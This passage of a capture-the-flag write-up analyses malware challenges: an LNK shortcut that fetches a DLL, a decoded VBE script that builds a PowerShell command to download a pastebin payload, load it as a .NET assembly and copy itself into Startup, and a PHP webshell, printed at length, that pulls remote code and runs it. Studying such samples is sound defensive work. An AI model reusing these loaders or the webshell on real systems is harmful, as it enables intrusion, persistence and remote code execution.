        Command line arguments          : \x0d\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0a\x0a\x0d\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0d\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0a\x0d\x0d\x0d\x0d\x0d\x0d\x0a\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0a\x0a\x0d\x0d\x0a\x0a\x0a\x0a\x0d\x0d\x0d\x0a\x0d\x0a\x0d\x0a\x0d\x0d\x0a\x0a\x0d\x0d\x0d\x0a\x0a\x0d\x0d\x0a\x0a\x0d\x0a\x0a\x0d\x0d\x0a\x0d\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x0a\x0a\x0d\x0a\x0d\x0a\x0d\x0a\x0a\x09\x0b\x0b\x0c\x0a\x0c  \x0b\x0a\x0a  \x0c\x0a\x0b\x0b\x0d\x0c\x0a\x09\x0d\x0d  \x0a\x0d\x0d\x0b\x0d\x0d  \x0c\x0c\x0a\x0b\x09\x0a\x0c\x0b\x0a  \x0c\x0c\x09\x0c\x0d\x0b\x0b\x0b\x0b\x09\x09\x0b \x0b\x09\x0b\x0c\x0d\x0b\x0b\x0a\x0a\x0c\x0c\x0d \x0d \x0c\x0c\x0a\x0d\x09  \x0c \x09\x0b\x09 \x0a \x0a\x0b\x0d\x0b \x0c\x0c\x0d\x09\x0a\x0d\x0d\x09\x0b\x09\x0d\x0c\x09\x0d\x09\x0d\x0d \x0c\x0d\x0a\x09 \x0d\x0d\x0a\x0b\x0c\x0a\x0b\x0b\x0d   \x0a\x09\x0c\x0a\x0d\x0d\x0a\x0b\x0b\x0b\x0c\x0c \x0c\x0c \x0b\x09 \x09\x09\x0c\x0c\x0c\x0a\x0a  \x0b \x0b\x09\x0c\x0b\x0a \x09\x0d\x0a\x0d\x0a  \x09\x09\x0a\x0a\x09\x0c  \x0d\x0c \x0a \x0c\x0b\x0b\x0a\x0a\x09\x0a\x0c\x0c \x0a \x0a\x09\x0d \x0a \x0b\x09\x0c \x09\x0c  \x0d\x0a\x0b\x0c \x0a\x0b\x0c\x0b\x0c\x0d\x0c\x0c\x0a\x0b\x09 \x0a\x0c  \x0d \x09\x09 \x0b\x0a\x0a\x0b\x09\x09\x0b\x0b \x0b\x0a\x0d \x0a \x0a\x0b\x0c\x0d\x0a\x0d \x0c \x0d\x09\x0a\x09\x0a\x09\x09\x0b\x0d\x0a\x0c\x0c\x0c\x0a  \x0a\x0a\x0d \x0b\x0d \x09\x0a\x09\x0b  \x09/V/R\x09CMD<https://
        Icon location                   : inyurl.com/a7ba6ma

Link target identifier:
        Shell item list
                Number of items         : 5

        Shell item: 1
                Item type               : Root folder
                Class type indicator    : 0x1f (Root folder)
                Shell folder identifier : 20d04fe0-3aea-1069-a2d8-08002b30309d
                Shell folder name       : My Computer

        Shell item: 2
                Item type               : Volume
                Class type indicator    : 0x2f (Volume)
                Volume name             : C:\

        Shell item: 3
                Item type               : File entry
                Class type indicator    : 0x31 (File entry: Directory)
                Name                    : Windows
                Modification time       : Sep 30, 2019 12:50:02
                File attribute flags    : 0x00002010
                        Is directory (FILE_ATTRIBUTE_DIRECTORY)
                        Content should not be indexed (FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : Windows
                Creation time           : Jul 14, 2009 03:20:10
                Access time             : Sep 30, 2019 12:50:02
                NTFS file reference     : MFT entry: 624, sequence: 1

        Shell item: 4
                Item type               : File entry
                Class type indicator    : 0x31 (File entry: Directory)
                Name                    : System32
                Modification time       : Feb 25, 2022 11:06:08
                File attribute flags    : 0x00002010
                        Is directory (FILE_ATTRIBUTE_DIRECTORY)
                        Content should not be indexed (FILE_ATTRIBUTE_NOT_CONTENT_INDEXED)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : System32
                Creation time           : Jul 14, 2009 03:20:12
                Access time             : Feb 25, 2022 11:06:08
                NTFS file reference     : MFT entry: 2313, sequence: 1

        Shell item: 5
                Item type               : File entry
                Class type indicator    : 0x32 (File entry: File)
                Name                    : cmd.exe
                Modification time       : Nov 21, 2010 03:24:04
                File attribute flags    : 0x00000020
                        Should be archived (FILE_ATTRIBUTE_ARCHIVE)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : cmd.exe
                Creation time           : Nov 21, 2010 03:24:04
                Access time             : Nov 21, 2010 03:24:04
                NTFS file reference     : MFT entry: 36705, sequence: 1

We notice a URL in the output, but it lacks the first letter (tinyurl is a URL shortener).

We could have found that URL using a hex editor too.

The URL redirects to a text file hosted on Google Drive (usb.txt).

It looks like base64 content but decoding it prints an error message and the result looks like gibberish.

Using base32 however I obtain a Windows binary:

1
2
$ file out
out: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections

Read carefully: it is a DLL file.

You can’t run a dll file just by double-clicking it. You need to load it using rundll32.exe while telling what is the name of the entry point.

For this you can open the file using Cutter and displaying the exports (which seem not to appear with default configuration).

Here, one of the exported functions is DllMain which is pretty common.

It turns out you can use whatever name you want and it works too.

rundll in action

I could not copy the flag with Ctrl+C, so I had to make a screenshot and use Google Lens for OCR.

The challenge is a copy of NahamCon CTF 2022 (see here.

Not the first time they copy one of their challenges.

VeeBeeEee

Description

While investigating a host, we found this strange file attached to a scheduled task. It was invoked with wscript or something… can you find a flag?

Kansas City Shuffle

The file looks like this:

1
2
3
4
5
6
7
#@~^fhAAAA==jY~}4N+mDP,xPq?^DbwO ;D+mO+}4L^O`rUm.k2Oc?4+^sJ*PvvEBBvvEBvBEvEBvmV
2GXkWGwsBCV2GzdK+Wah@&U+Y,j64N+1Y~'~/M+CY64N+^OvJ?4n^V ba2^k^mYbWxr#EvBEBvBEBvv
EBBEvl^&GHdG+KwsBCVf{H/G+K2:@&?nO,sr8%mOP{~;DnmYr4N+1O`r?^DbwOr     oRwrV?XkOn:
}4N+^YEbEBvBEvBEBvvEBBvvmVfGHdK+Ga:ElV2GHdWW2:@&?KCDtP,~',?1.rwDRUm.k2OwEsVgC:B
vvEBBvvEBvBEvEBC^&FX/K+K2:Els&FXdGWws@&fb:P;G[+EBEBvBvvEBvBEvBElsfFX/GnKwhBms2G
--- snip ---
a:vl^fFXdK+Kw:@&?!8PhldY`]P*@&s}8LmYc/GwHsbVnP]PBnCY4jYMkUL@&2x[~UE8yLIEAA==^#~@

There are a lot of vEB characters so my first guess was we need to remove those.

Then I thought we may have to remove even more characters in order to get the flag.

For example the g character appears only once so the md5 part of the flag can appear before.

The same goes for the } character : it appears several times but only once after the g.

At the end I had the following text, but I could not really figure out how to get a flag out of it:

1
2
{22dada{a{2{2{42{a2{a{{22{a822{fda2d24{d41fdf4f{912{a2{ad92{a2{ac4{24{434f2{d2{a22f{2fdb6c40bb852254d22fdafda2d252d2c{{b2afd353dd2{a28cac41b1df{23d{fd{2708{012d25{d82{a2{a0f{0fa35ccff2ad0bf2ad5003550daffa21bdd2
2{26d22f22bdd{22f22bddf{2d2faac6a{226f{aa1b{36d33abdd361b6d32ddc2a1bd2af{{a147352a1ada4429442{a2{a3b4bfaf2c2df{228faf{afd8c{d22d2a22ada6d22{2439f{1af{afd8d}

So I finally search VeeBeeEee on Google and guess what I found ?

VeeBeeEee Flag

This paste was published on sept 20th, before the challenge starts, so it must be tied to the official solution.

Solution

VeeBeeEee is the reference to the .vbe file extension. But what is the differences with .vbs ?

chatgpt differences between vbs and vbe

And when asked about ways of decoding VBE files :


Yes, there are tools available that can decode .vbe (VBScript Encoded) files. These tools can reverse the encoding and reveal the original VBScript code contained within the encoded file. Here are a few common methods and tools to decode .vbe files:

  1. Windows Script Host: Windows Script Host itself can decode and execute .vbe files. You can use the wscript.exe or cscript.exe command-line tools to execute .vbe files. When these tools execute a .vbe script, they first decode the content and then run the script. For example:

    1
    
    wscript.exe encoded.vbe
    

    This command will decode and execute the VBScript code stored within the .vbe file.

  2. Online Decoding Tools: Several online tools are available that allow you to paste the contents of a .vbe file and decode it to reveal the original VBScript code. These tools can be useful if you need to decode a .vbe file quickly without installing additional software.

    However, exercise caution when using online tools, especially with sensitive or confidential scripts, as you’re sharing your script content with a third-party service.

  3. Decoding Software: Some software applications, such as the “Microsoft Script Encoder” (screnc.exe), can encode and decode VBScript files. You can use these tools to decode .vbe files into their original .vbs form.

    To decode a .vbe file using the Microsoft Script Encoder tool, you can run the following command:

    1
    
    screnc.exe -d encoded.vbe decoded.vbs
    
  4. Antivirus and Security Software: Many antivirus and security software applications include features to analyze and decode encoded scripts. If you have security software installed, it may automatically decode and inspect .vbe files for potential threats.

Keep in mind that while decoding .vbe files can reveal their content, it doesn’t necessarily make the script safe to run. It’s essential to verify the source of the script and the intent behind it before executing it, as malicious scripts can still pose a security risk even after decoding.


I used the online decoder VBScript encrypter and decrypter which also gives some hints on detecting VBE files:

You can check the file name extension, which should be .vbe, instead of .vbs.

As an alternative you can open the file in a text editor.

The content should start with #@~^XXXXXX== and end with ==^#~@ plus a “null” char, which is not visible in most editors.

Once decoded I obtained that code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Set Object  = WScript.CreateObject("WScript.Shell") ''''''''''''''''al37ysoeopm'al37ysoeopm
Set SObject = CreateObject("Shell.Application")''''''''''''''''al37ysoeopm'al37ysoeopm
Set FObject = CreateObject("Scripting.FileSystemObject")''''''''''''''''al37ysoeopm'al37ysoeopm
SPath   = WScript.ScriptFullName''''''''''''''''al37ysoeopm'al37ysoeopm
Dim Code''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Power0 = "Po"''''''''''''''''al37ysoeopm'al37ysoeopm
Power1 = "we"''''''''''''''''al37ysoeopm'al37ysoeopm
Power2 = "rS"''''''''''''''''al37ysoeopm'al37ysoeopm
Power3 = "he"
Power4 = "ll"''''''''''''''''al37ysoeopm'al37ysoeopm
Power5 = " "''''''''''''''''al37ysoeopm'al37ysoeopm
Power = Power0 + Power1 + Power2 + Power3 + Power4 + Power5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Path0 = "&$&f&&=&'&&C&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path1 = "&:&\&U&s&e&&rs" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path2 = "&\P&&u&b&l&i&&c&"''''''''''''''''al37ysoeopm'al37ysoeopm
Path3 = "\D&&o&c&u&me" ''''''''''''''''al37ysoeopm'al37ysoeopm
Path4 = "n&ts&\&&J&u&ly"''''''''''''''''al37ysoeopm'al37ysoeopm
Path5 = "&.h&t&&m&';"''''''''''''''''al37ysoeopm'al37ysoeopm
Path   = Path0 + Path1 + Path2 + Path3 + Path4 + Path5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest0 = "&i&&f &(&!(T&e&st&-P&ath &$&f)&){&&I&n&v&o&ke&-&W&eb&&R&eq&u&&e&s&t '"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest1 = "&h&t&t&p&s&:&/&/&p&a&s&t"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest2 = "&e&b&i&n&.&c&o&m&/&r&a&w"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest3 = "&/&S&i&Y&G&w&w&c&z&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest4 = "'& &-o&u&"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest5 = "t&f&i&le &$f&  &};"''''''''''''''''al37ysoeopm'al37ysoeopm
Reqest = Reqest0 + Reqest1 + Reqest2 +  Reqest3 + Reqest4 + Reqest5''''''''''''''''al37ysoeopm'al37ysoeopm
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest0 = "&[&S&y&s&t&e&m&."''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest1 = "&R&e&f&l&e&c&t&i&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest2 = "o&n&.&A&s&s&e&m&b&l"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest3 = "&y&]&:&:&l&o&a&d&f" ''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest4 = "&i&l&e(&$&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest5 = "f&)&;&"''''''''''''''''al37ysoeopm'al37ysoeopm
InvokeReqest = InvokeReqest0 + InvokeReqest1 + InvokeReqest2 + InvokeReqest3 + InvokeReqest4 + InvokeReqest5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem0 = "&[&W&o&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem1 = "&A&r&e&a&."''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem2 = "&W&o&&r&k"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem3 = "]&:&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem4 = ":&E&x&" ''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem5 = "e(&)&"''''''''''''''''al37ysoeopm'al37ysoeopm
ExecAssem   = ExecAssem0 + ExecAssem1 + ExecAssem2 + ExecAssem3 + ExecAssem4 + ExecAssem5''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem
''''''''''''''''al37ysoeopm'al37ysoeopm

Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)''''''''''''''''al37ysoeopm'al37ysoeopm
Temp = First + Second + Third + Fourth + Fifth''''''''''''''''al37ysoeopm'al37ysoeopm
Code = Replace(Temp , "&" , "" )''''''''''''''''al37ysoeopm'al37ysoeopm
End Sub''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
Return = Object.Run(Code, 0, true)''''''''''''''''al37ysoeopm'al37ysoeopm
''''''''''''''''al37ysoeopm'al37ysoeopm
WScript.Sleep(50000)''''''''''''''''al37ysoeopm'al37ysoeopm
For i = 1 To 5''''''''''''''''al37ysoeopm'al37ysoeopm
if i = 5 Then''''''''''''''''al37ysoeopm'al37ysoeopm
Paste(SPath)
End if''''''''''''''''al37ysoeopm'al37ysoeopm
Next''''''''''''''''al37ysoeopm'al37ysoeopm
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub

It looks terrible because there are a lot of useless comments but once removed it is easier to understand:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Set Object  = WScript.CreateObject("WScript.Shell") 
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath   = WScript.ScriptFullName
Dim Code

Power0 = "Po"
Power1 = "we"
Power2 = "rS"
Power3 = "he"
Power4 = "ll"
Power5 = " "
Power = Power0 + Power1 + Power2 + Power3 + Power4 + Power5

Path0 = "&$&f&&=&'&&C&"
Path1 = "&:&\&U&s&e&&rs" 
Path2 = "&\P&&u&b&l&i&&c&"
Path3 = "\D&&o&c&u&me" 
Path4 = "n&ts&\&&J&u&ly"
Path5 = "&.h&t&&m&';"
Path   = Path0 + Path1 + Path2 + Path3 + Path4 + Path5

Reqest0 = "&i&&f &(&!(T&e&st&-P&ath &$&f)&){&&I&n&v&o&ke&-&W&eb&&R&eq&u&&e&s&t '"
Reqest1 = "&h&t&t&p&s&:&/&/&p&a&s&t"
Reqest2 = "&e&b&i&n&.&c&o&m&/&r&a&w"
Reqest3 = "&/&S&i&Y&G&w&w&c&z&"
Reqest4 = "'& &-o&u&"
Reqest5 = "t&f&i&le &$f&  &};"
Reqest = Reqest0 + Reqest1 + Reqest2 +  Reqest3 + Reqest4 + Reqest5
PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName
InvokeReqest0 = "&[&S&y&s&t&e&m&."
InvokeReqest1 = "&R&e&f&l&e&c&t&i&"
InvokeReqest2 = "o&n&.&A&s&s&e&m&b&l"
InvokeReqest3 = "&y&]&:&:&l&o&a&d&f" 
InvokeReqest4 = "&i&l&e(&$&"
InvokeReqest5 = "f&)&;&"
InvokeReqest = InvokeReqest0 + InvokeReqest1 + InvokeReqest2 + InvokeReqest3 + InvokeReqest4 + InvokeReqest5

ExecAssem0 = "&[&W&o&r&k"
ExecAssem1 = "&A&r&e&a&."
ExecAssem2 = "&W&o&&r&k"
ExecAssem3 = "]&:&"
ExecAssem4 = ":&E&x&" 
ExecAssem5 = "e(&)&"
ExecAssem   = ExecAssem0 + ExecAssem1 + ExecAssem2 + ExecAssem3 + ExecAssem4 + ExecAssem5

CollectThenReplace Power , Path , Reqest , InvokeReqest , ExecAssem


Sub CollectThenReplace(First, Second , Third , Fourth , Fifth)
Temp = First + Second + Third + Fourth + Fifth
Code = Replace(Temp , "&" , "" )
End Sub

Return = Object.Run(Code, 0, true)

WScript.Sleep(50000)
For i = 1 To 5
if i = 5 Then
Paste(SPath)
End if
Next
Sub Paste(RT)
FObject.CopyFile RT,PathString
End Sub

The code is then easy to clarify. As assignments and concatenation are compatible with Python you can easily fix stuff using Python’s interpreter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Set Object  = WScript.CreateObject("WScript.Shell") 
Set SObject = CreateObject("Shell.Application")
Set FObject = CreateObject("Scripting.FileSystemObject")
SPath   = WScript.ScriptFullName
Dim Code


Power = "PowerShell "
Path   = "$f='C:\\Users\\Public\\Documents\\July.htm';"
Reqest = "if (!(Test-Path $f)){Invoke-WebRequest 'https://pastebin.com/raw/SiYGwwcz' -outfile $f  };"

PathString = SObject.NameSpace(7).Self.Path & "/" & WScript.ScriptName
InvokeReqest = "[System.Reflection.Assembly]::loadfile($f);"
ExecAssem   = "[WorkArea.Work]::Exe()"

Return = Object.Run(Power + Path + Reqest + InvokeReqest + ExecAssem, 0, true)

WScript.Sleep(50000)
For i = 1 To 5
    if i = 5 Then
        Paste(SPath)
    End if
Next

Sub Paste(RT)
    FObject.CopyFile RT,PathString
End Sub

The idea of that script is to download the content of the paste to a file called July.htm then execute it.

The file is expected to be some Windows Assembly (understand it is a dotnet binary).

The solution is in the paste as we saw previously.

Solving it with a sandbox

We can try to execute the encoded script in a sandbox just like we did with Snake Eater.

Hybrid-Analysis saw a few things:

hybrid analysis

It also saw some connection to pastebin.com but wasn’t able to catch the HTTP request, maybe they do not intercept TLS encrypted traffic.

I registered an account on Any.Run. They did not see any connection attempt, but they caught the powershell execution with its arguments:

Any.Run execution

Zerion

Description

We observed some odd network traffic, and found this file on our web server… can you find the strange domains that our systems are reaching out to?

Solution

The zerion file is a PHP script that looks like that:

1
2
3
4
5
6
7
<?php
$L66Rgr=explode(base64_decode("Pz4="),file_get_contents(__FILE__));
$L6CRgr=array(base64_decode("L3gvaQ=="),base64_decode("eA=="),base64_decode(strrev(str_rot13($L66Rgr[1]))));
$L7CRgr = "d6d666e70e43a3aeaec1be01341d9f9d";
preg_replace($L6CRgr[0],serialize(eval($L6CRgr[2])),$L6CRgr[1]);
exit();
?

It is then followed by a huge base64 string.

Looking at the script there is a call to eval() and of course we don’t want the script to execute something we do not control.

Let’s just edit the script to inject the following two lines before the preg_replace one:

1
2
echo $L6CRgr[2];
exit();

We obtain the code for a PHP webshell. Here is the beginning of the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function GC($a)
{
    $url = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $a, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); $code = @file_get_contents($url); if ($code == false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'll'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 100); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $code = curl_exec($ch); curl_close($ch); }return $code;}
if (isset($_REQUEST['ac']) && isset($_REQUEST['path']) && isset($_REQUEST['api']) && isset($_REQUEST['t'])) { $code = GC('https://c.-wic5-.com/'); if(!$code){$code = GC('https://c.-oiv3-.com/?flag=flag{af10370d485952897d5183aa09e19883}
');}$need = '<'.'?'.'php'; if (strpos($code, $need) === false) { die('get failed'); } $file_name = tmpfile(); fwrite($file_name, $code); $a = stream_get_meta_data($file_name);$file_path = $a['uri']; $content = @file_get_contents($file_path);if(!$content){$file_path = '.c'; file_put_contents($file_path, $code);}@require($file_path); fclose($file_name);@unlink($file_path);die(); }
if (isset($_REQUEST['d_time'])){ die('{->'.$L7CRgr.'<-}'); }
$pass = false;
if (isset($_COOKIE['pass'])) { if(md5($_COOKIE['pass']) == $L7CRgr) { $pass = true; } } else { if (isset($_POST['pass'])) { if(md5($_POST['pass']) == $L7CRgr) { setcookie("pass", $_POST['pass']); $pass = true; } } }
if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("pass", null); $pass= false; }
if(isset($_REQUEST['pwd163']) && md5($_REQUEST['pwd163']) == $L7CRgr) {
    $a = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST['zzz'])))));
    $need = base64_decode("PD9waHA=");
    if (strpos($a, $need) === false) { $a = $need . PHP_EOL . $a; }
    if (isset($_REQUEST['e'])){ $a = str_replace($need, "", $a); $b = 'e'.base64_decode("dmE=").'l'; $b($a);die(); }
    $file_name = tmpfile(); fwrite($file_name, $a);
    $require_params = stream_get_meta_data($file_name);
    @require($require_params['uri']);
    fclose($file_name);die(); }
if (isset($_REQUEST['auth_key'])){ die($L7CRgr); } if (!$pass) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die();} echo '<form action="#" method="post"><input type="password" name="pass" > <input type="submit" value="submit"></form>'; die(); }


echo '<form action="#" method="post"><input type="hidden" name="logout" value="1"> <input type="submit" value="logout"></form>'; echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell</title>
<style>

We can see the flag in the URL : flag{af10370d485952897d5183aa09e19883}

Cet article est sous licence CC BY 4.0 par l'auteur.